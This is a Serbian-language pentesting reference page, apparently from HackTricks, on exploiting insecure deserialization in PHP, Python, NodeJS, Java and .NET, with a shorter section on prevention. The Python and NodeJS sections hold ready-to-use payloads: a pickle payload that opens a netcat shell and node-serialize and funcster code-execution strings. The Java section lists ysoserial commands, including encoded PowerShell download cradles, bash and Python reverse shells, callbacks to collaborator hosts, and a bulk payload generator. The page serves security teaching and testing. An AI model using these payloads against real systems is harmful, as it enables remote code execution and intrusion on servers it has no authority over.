Deserialization

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Serijalizacija se shvata kao metoda pretvaranja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se često koristi kako bi se osiguralo da objekat može biti rekreiran u kasnijem trenutku, održavajući njegovu strukturu i stanje.

Deserijalizacija, obrnuto, je proces koji deluje suprotno serijalizaciji. Uključuje uzimanje podataka koji su strukturirani u određenom formatu i rekonstruisanje ih nazad u objekat.

Deserijalizacija može biti opasna jer potencijalno omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.

PHP

U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserijalizacije:

  • __sleep: Poziva se kada se objekat serijalizuje. Ova metoda treba da vrati niz imena svih svojstava objekta koji treba da budu serijalizovani. Često se koristi za potvrđivanje čekajućih podataka ili izvođenje sličnih zadataka čišćenja.

  • __wakeup: Poziva se kada se objekat deserijalizuje. Koristi se za ponovno uspostavljanje bilo kakvih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i izvođenje drugih zadataka ponovnog inicijalizovanja.

  • __unserialize: Ova metoda se poziva umesto __wakeup (ako postoji) kada se objekat deserijalizuje. Pruža više kontrole nad procesom deserijalizacije u poređenju sa __wakeup.

  • __destruct: Ova metoda se poziva kada se objekat uništava ili kada se skripta završava. Obično se koristi za zadatke čišćenja, poput zatvaranja fajl rukovaoca ili veza sa bazom podataka.

  • __toString: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje fajla ili druge zadatke na osnovu poziva funkcija unutar nje, efikasno pružajući tekstualnu reprezentaciju objekta.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Ako pogledate rezultate, možete videti da se funkcije __wakeup i __destruct pozivaju prilikom deserializacije objekta. Imajte na umu da u nekoliko tutorijala ćete pronaći da se funkcija __toString poziva prilikom pokušaja štampanja neke osobine, ali izgleda da se to više ne dešava.

Metoda __unserialize(array $data) se poziva umesto __wakeup() ako je implementirana u klasi. Omogućava vam da deserializujete objekat pružajući serijske podatke kao niz. Možete koristiti ovu metodu da deserializujete osobine i obavite sve neophodne zadatke prilikom deserializacije.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Možete pročitati objašnjen PHP primer ovde: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ovde https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ili ovde https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Klasa

Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php fajlove i više:

pagePHP - Deserialization + Autoload Classes

Serijalizacija Referenciranih Vrednosti

Ako iz nekog razloga želite da serijalizujete vrednost kao referencu na drugu serijalizovanu vrednost možete:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial za PHP)

PHPGGC može vam pomoći da generišete payload-ove za zloupotrebu PHP deserijalizacije. Imajte na umu da u nekoliko slučajeva nećete moći pronaći način za zloupotrebu deserijalizacije u izvornom kodu aplikacije, ali biste možda mogli zloupotrebiti kod spoljnih PHP ekstenzija. Dakle, ako možete, proverite phpinfo() servera i tražite na internetu (čak i na gadgetima PHPGGC) neki mogući gadget koji biste mogli zloupotrebiti.

deserijalizacija metapodataka phar://

Ako ste pronašli LFI koji samo čita datoteku i ne izvršava PHP kod unutar nje, na primer koristeći funkcije poput file_get_contents(), fopen(), file() ili file_exists(), md5_file(), filemtime() ili filesize(), možete pokušati zloupotrebiti deserijalizaciju koja se dešava prilikom čitanja datoteke koristeći protokol phar. Za više informacija pročitajte sledeći post:

pagephar:// deserialization

Python

Pickle

Kada se objekat depickla, funkcija __reduce__ će biti izvršena. Kada se iskoristi, server može vratiti grešku.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Za više informacija o bekstvu iz pickle zatvora proverite:

pageBypass Python sandboxes

Yaml & jsonpickle

Na sledećoj stranici je prikazana tehnika zloupotrebe nesigurne deserializacije u yaml python bibliotekama i završava se alatom koji se može koristiti za generisanje RCE deserializacijskog payload-a za Pickle, PyYAML, jsonpickle i ruamel.yaml:

pagePython Yaml Deserialization

Zagađenje klasa (Python Prototipno zagađenje)

pageClass Pollution (Python's Prototype Pollution)

NodeJS

JS Magične funkcije

JS nema "magične" funkcije poput PHP-a ili Python-a koje će se izvršiti samo prilikom kreiranja objekta. Ali ima neke funkcije koje se često koriste čak i bez direktnog pozivanja kao što su toString, valueOf, toJSON. Ako zloupotrebite deserializaciju, možete ugroziti ove funkcije da izvrše drugi kod (potencijalno zloupotrebljavajući prototipno zagađenje) i možete izvršiti proizvoljan kod kada se pozovu.

Još jedan "magičan" način pozivanja funkcije bez direktnog pozivanja je ugrožavanje objekta koji vraća asinhrona funkcija (promise). Jer, ako transformišete taj vraćeni objekat u drugi promise sa svojstvom nazvanim "then" tipa funkcija, biće izvršen samo zato što je vraćen od drugog promise-a. Pratite ovaj link za više informacija.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ и prototype зagađenje

Ako želite da saznate više o ovoj tehnici pogledajte sledeći tutorijal:

pageNodeJS - __proto__ & prototype Pollution

Ova biblioteka omogućava serializaciju funkcija. Primer:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Serializovani objekat će izgledati ovako:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Možete videti u primeru da kada je funkcija serializovana, zastava _$$ND_FUNC$$_ se dodaje serializovanom objektu.

Unutar fajla node-serialize/lib/serialize.js možete pronaći istu zastavu i kako je kod koristi.

Kao što možete videti u poslednjem delu koda, ako se zastava pronađe, eval se koristi za deserializaciju funkcije, tako da se korisnički unos koristi unutar funkcije eval.

Međutim, samo serializovanje funkcije neće je izvršiti jer bi bilo potrebno da neki deo koda poziva y.rce u našem primeru, što je veoma neverovatno. U svakom slučaju, možete jednostavno izmeniti serializovani objekat dodavanjem zagrada kako bi se automatski izvršila serializovana funkcija prilikom deserializacije objekta. U sledećem delu koda obratite pažnju na poslednje zagrade i kako će funkcija unserialize automatski izvršiti kod:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Kao što je prethodno naznačeno, ova biblioteka će dobiti kod nakon _$$ND_FUNC$$_ i izvršiti ga koristeći eval. Stoga, kako bi se automatski izvršio kod, možete izbrisati deo kreiranja funkcije i poslednju zatvorenu zagradu i samo izvršiti JS jednolinijski kod kao u sledećem primeru:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Možete ovde pronaći dodatne informacije o tome kako iskoristiti ovu ranjivost.

Značajna karakteristika funcster-a je nepristupačnost standardnih ugrađenih objekata; oni su van dosega. Ovo ograničenje sprečava izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka poput "ReferenceError: console is not defined" kada se koriste komande poput console.log() ili require(something).

Ipak, uprkos ovom ograničenju, moguće je povratiti pun pristup globalnom kontekstu, uključujući sve standardne ugrađene objekte, kroz određeni pristup. Iskorišćavanjem globalnog konteksta direktno, moguće je zaobići ovo ograničenje. Na primer, pristup može biti ponovo uspostavljen korišćenjem sledećeg isečka koda:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Za više informacija pročitajte ovaj izvor.

Paket serialize-javascript je dizajniran isključivo za potrebe serializacije, bez ugrađenih mogućnosti za deserializaciju. Korisnici su odgovorni za implementaciju sopstvene metode za deserializaciju. Direktna upotreba eval-a je predložena u zvaničnom primeru za deserializaciju serializovanih podataka:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Ako se ova funkcija koristi za deserializaciju objekata, možete je lako iskoristiti:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Za više informacija pročitajte ovaj izvor.

Cryo biblioteka

Na sledećim stranicama možete pronaći informacije o tome kako zloupotrebiti ovu biblioteku da biste izvršili proizvoljne komande:

Java - HTTP

U Javi, callback-ovi za deserializaciju se izvršavaju tokom procesa deserializacije. Ovu izvršnu moć mogu iskoristiti napadači koji kreiraju zlonamerne sadržaje koji pokreću ove callback-ove, što može dovesti do potencijalnog izvršenja štetnih akcija.

Otisci prstiju

Bela kutija

Da biste identifikovali potencijalne ranjivosti serijalizacije u kodnoj bazi, potražite:

  • Klase koje implementiraju interfejs Serializable.

  • Korišćenje funkcija java.io.ObjectInputStream, readObject, readUnshare.

Posebno obratite pažnju na:

  • XMLDecoder korišćen sa parametrima definisanim od strane spoljnih korisnika.

  • XStream-ovu metodu fromXML, posebno ako je verzija XStream-a manja ili jednaka 1.46, jer je podložna problemima sa serijalizacijom.

  • ObjectInputStream uparen sa metodom readObject.

  • Implementacija metoda poput readObject, readObjectNodData, readResolve ili readExternal.

  • ObjectInputStream.readUnshared.

  • Opšta upotreba Serializable.

Crna kutija

Za testiranje crne kutije, potražite specifične potpise ili "Magic Bytes" koji označavaju java serijalizovane objekte (potičući od ObjectInputStream):

  • Heksadecimalni obrazac: AC ED 00 05.

  • Base64 obrazac: rO0.

  • HTTP odgovori sa zaglavljima Content-type postavljenim na application/x-java-serialized-object.

  • Heksadecimalni obrazac koji ukazuje na prethodnu kompresiju: 1F 8B 08 00.

  • Base64 obrazac koji ukazuje na prethodnu kompresiju: H4sIA.

  • Veb fajlovi sa ekstenzijom .faces i parametrom faces.ViewState. Otkrivanje ovih obrazaca u veb aplikaciji trebalo bi da podstakne ispitivanje kako je detaljno opisano u postu o Java JSF ViewState Deserializaciji.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Provera da li je ranjiv

Ako želite da sažnate kako funkcioniše Java Deserialized eksploatacija, trebalo bi da pogledate Osnovna Java Deserializacija, Java DNS Deserializacija i CommonsCollection1 Payload.

Testiranje belom kutijom

Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Možete pokušati proveriti sve biblioteke za koje je poznato da su ranjive i za koje Ysoserial može pružiti eksploataciju. Ili možete proveriti biblioteke navedene na Java-Deserialization-Cheat-Sheet. Takođe možete koristiti gadgetinspector da pretražite moguće lance gedžeta koji mogu biti iskorišćeni. Kada pokrenete gadgetinspector (nakon što ga izgradite), ne brinite o gomili upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Sve rezultate će zapisati pod gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Molimo vas, imajte na umu da gadgetinspector neće kreirati eksploataciju i može ukazati na lažne pozitivne rezultate.

Test Crne Kutije

Korišćenjem Burp ekstenzije gadgetprobe možete identifikovati koje biblioteke su dostupne (čak i verzije). Sa ovim informacijama bi moglo biti jednostavnije izabrati payload za iskorišćavanje ranjivosti. Pročitajte ovo da biste saznali više o GadgetProbe. GadgetProbe je fokusiran na ObjectInputStream deserializacije.

Korišćenjem Burp ekstenzije Java Deserialization Scanner možete identifikovati ranjive biblioteke koje se mogu iskoristiti sa ysoserial i ih iskoristiti. Pročitajte ovo da biste saznali više o Java Deserialization Scanner-u. Java Deserialization Scanner je fokusiran na ObjectInputStream deserializacije.

Takođe možete koristiti Freddy da otkrijete ranjivosti u deserializaciji u Burp-u. Ovaj dodatak će otkriti ranjivosti koje nisu samo povezane sa ObjectInputStream već i ranjivosti iz biblioteka za deserializaciju Json i Yml. U aktivnom režimu, pokušaće da ih potvrdi korišćenjem sleep ili DNS payloada. Više informacija o Freddy-u možete pronaći ovde.

Testiranje Serijalizacije

Nije sve u proveri da li server koristi ranjive biblioteke. Ponekad možete promeniti podatke unutar serijalizovanog objekta i zaobići neke provere (možda vam omogućiti administratorske privilegije unutar veb aplikacije). Ako pronađete java serijalizovan objekat koji se šalje veb aplikaciji, možete koristiti SerializationDumper da odštampa u formatu koji je čitljiviji čoveku serijalizovani objekat koji se šalje. Poznavanje podataka koje šaljete olakšaće vam da ih izmenite i zaobiđete neke provere.

Eksploatacija

ysoserial

Glavni alat za eksploataciju Java deserializacija je ysoserial (preuzmite ovde). Takođe možete razmotriti korišćenje ysoseral-modified koji će vam omogućiti korišćenje kompleksnih komandi (sa cevima na primer). Imajte na umu da je ovaj alat usmeren na iskorišćavanje ObjectInputStream. Preporučujem da počnete sa "URLDNS" payloadom pre RCE payloada da biste testirali da li je ubrizgavanje moguće. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Prilikom kreiranja payload-a za java.lang.Runtime.exec() ne možete koristiti specijalne karaktere poput ">" ili "|" za preusmeravanje izlaza iz izvršavanja, "$()" za izvršavanje komandi ili čak prosleđivanje argumenata komandi razdvojenih razmacima (možete uraditi echo -n "hello world" ali ne možete uraditi python2 -c 'print "Hello world"'). Da biste pravilno enkodovali payload, možete koristiti ovu web stranicu.

Slobodno koristite sledeći skript za kreiranje svih mogućih payload-a za izvršavanje koda za Windows i Linux, a zatim ih testirajte na ranjivoj web stranici:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Možete koristiti https://github.com/pwntester/SerialKillerBypassGadgetCollection zajedno sa ysoserialom da biste kreirali više eksploatacija. Više informacija o ovom alatu možete pronaći u slajdovima predavanja na kojem je alat predstavljen: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec može se koristiti za generisanje payloada za eksploataciju različitih Json i Yml biblioteka za serijalizaciju u Javi. Da biste kompajlirali projekat, morao sam dodati ove zavisnosti u pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Instalirajte Maven, a zatim kompajlirajte projekat:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Pročitajte više o ovoj Java JSON biblioteci: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratorije

Zašto

Java koristi mnogo serijalizacije u razne svrhe kao što su:

  • HTTP zahtevi: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, kolačićima, itd.

  • RMI (Remote Method Invocation): Java RMI protokol, koji se oslanja isključivo na serijalizaciju, osnova je za udaljenu komunikaciju u Java aplikacijama.

  • RMI preko HTTP-a: Ovaj metod se često koristi u Java baziranim debelim klijentskim web aplikacijama, koristeći serijalizaciju za sve komunikacije objekata.

  • JMX (Java Management Extensions): JMX koristi serijalizaciju za prenos objekata preko mreže.

  • Prilagođeni protokoli: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u budućim primerima eksploatacije.

Prevencija

Privremeni objekti

Klasa koja implementira Serializable može označiti bilo koji objekat unutar klase kao transient ako taj objekat ne bi trebalo da bude serijalizovan. Na primer:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Izbegavajte serijalizaciju klase koja mora da implementira Serializable

U scenarijima gde određeni objekti moraju da implementiraju Serializable interfejs zbog hijerarhije klasa, postoji rizik od nenamernog deserijalizovanja. Da biste to sprečili, obezbedite da ovi objekti nisu deserijalizovani definisanjem final readObject() metode koja dosledno baca izuzetak, kao što je prikazano u primeru ispod:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Unapređenje bezbednosti deserijalizacije u Javi

Prilagođavanje java.io.ObjectInputStream je praktičan pristup za obezbeđivanje procesa deserijalizacije. Ova metoda je pogodna kada:

  • Kod deserijalizacije je pod vašom kontrolom.

  • Klase očekivane za deserijalizaciju su poznate.

Prepišite resolveClass() metod kako biste ograničili deserijalizaciju samo na dozvoljene klase. Ovo sprečava deserijalizaciju bilo koje klase osim onih eksplicitno dozvoljenih, kao u sledećem primeru koji ograničava deserijalizaciju samo na klasu Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Korišćenje Java agenta za poboljšanje bezbednosti nudi alternativno rešenje kada modifikacija koda nije moguća. Ovaj metod se uglavnom primenjuje za crnu listu štetnih klasa, korišćenjem JVM parametra:

-javaagent:name-of-agent.jar

On pruža način da dinamički obezbedi deserijalizaciju, idealan za okruženja gde su odmahšnje promene koda nepraktične.

Pogledajte primer u rO0 od Contrast Security

Implementiranje Filtera za Serijalizaciju: Java 9 je uvela filtere za serijalizaciju putem interfejsa ObjectInputFilter, pružajući moćan mehanizam za specificiranje kriterijuma koje serijalizovani objekti moraju zadovoljiti pre deserijalizacije. Ovi filteri mogu biti primenjeni globalno ili po toku, nudeći granularnu kontrolu nad procesom deserijalizacije.

Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deserijalizacije ili ga konfigurisati dinamički za specifične tokove. Na primer:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Iskorišćavanje Spoljnih Biblioteka za Unapređenu Bezbednost: Biblioteke poput NotSoSerial, jdeserialize i Kryo nude napredne funkcije za kontrolisanje i praćenje Java deserijalizacije. Ove biblioteke mogu pružiti dodatne slojeve bezbednosti, poput beleženja ili crnog liste klasa, analiziranja serijalizovanih objekata pre deserijalizacije i implementiranja prilagođenih strategija serijalizacije.

  • NotSoSerial presreće procese deserijalizacije kako bi sprečio izvršavanje nepoverljivog koda.

  • jdeserialize omogućava analizu serijalizovanih Java objekata bez njihove deserijalizacije, pomažući u identifikaciji potencijalno zlonamernog sadržaja.

  • Kryo je alternativni okvir za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurabilne strategije serijalizacije koje mogu unaprediti bezbednost.

Reference

JNDI Injection & log4Shell

Pronađite šta je JNDI Injection, kako zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell (i primer ove ranjivosti) na sledećoj stranici:

pageJNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

Java Message Service (JMS) API je Java API za middleware orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođač–potrošač. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems-u, ali koju je od tada vodio Java Community Process. To je standard za razmenu poruka koji omogućava komponentama aplikacije zasnovane na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinhrona. (Iz Vikipedije).

Proizvodi

Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:

Iskorišćavanje

Dakle, u osnovi postoji niz usluga koje koriste JMS na opasan način. Stoga, ako imate dovoljno privilegija da šaljete poruke ovim uslugama (obično će vam biti potrebne validne akreditacije) možda ćete moći da pošaljete zlonamerne objekte serijalizovane koji će biti deserijalizovani od strane potrošača/pretplatnika. To znači da će svi klijenti koji koriste tu poruku biti zaraženi.

Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserijalizuje korisnički unos) i dalje morate pronaći validne gedžete za iskorišćavanje ranjivosti.

Alat JMET je kreiran da poveže i napadne ove usluge slanjem nekoliko zlonamernih objekata serijalizovanih korišćenjem poznatih gedžeta. Ovi eksploati će raditi ako je usluga i dalje ranjiva i ako se neki od korišćenih gedžeta nalazi unutar ranjive aplikacije.

Reference

.Net

U kontekstu .Net-a, eksploatacije deserijalizacije funkcionišu na način sličan onima pronađenim u Javi, gde se gedžeti iskorišćavaju kako bi se izvršio određeni kod tokom deserijalizacije objekta.

Fingerprint

WhiteBox

Izvorni kod treba da se pregleda radi pojavljivanja:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Fokus treba da bude na serijskim alatima koji dozvoljavaju da tip bude određen promenljivom pod kontrolom korisnika.

BlackBox

Pretraga treba da cilja Base64 kodiranu nisku AAEAAAD///// ili bilo koji sličan obrazac koji bi mogao biti deserijalizovan na serverskoj strani, dajući kontrolu nad tipom koji će biti deserijalizovan. Ovo može uključivati, ali nije ograničeno na, strukture JSON ili XML koje sadrže TypeObject ili $type.

ysoserial.net

U ovom slučaju možete koristiti alat ysoserial.net kako biste kreirali deserijalizacione eksploate. Nakon preuzimanja git repozitorijuma, trebalo bi da kompajlirate alat koristeći na primer Visual Studio.

Ako želite da saznate kako ysoserial.net kreira svoj eksploat možete proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Glavne opcije ysoserial.net su: --gadget, --formatter, --output i --plugin.

  • --gadget se koristi da se naznači gadžet za zloupotrebu (naznačiti klasu/funkciju koja će biti zloupotrebljena tokom deserijalizacije radi izvršavanja komandi).

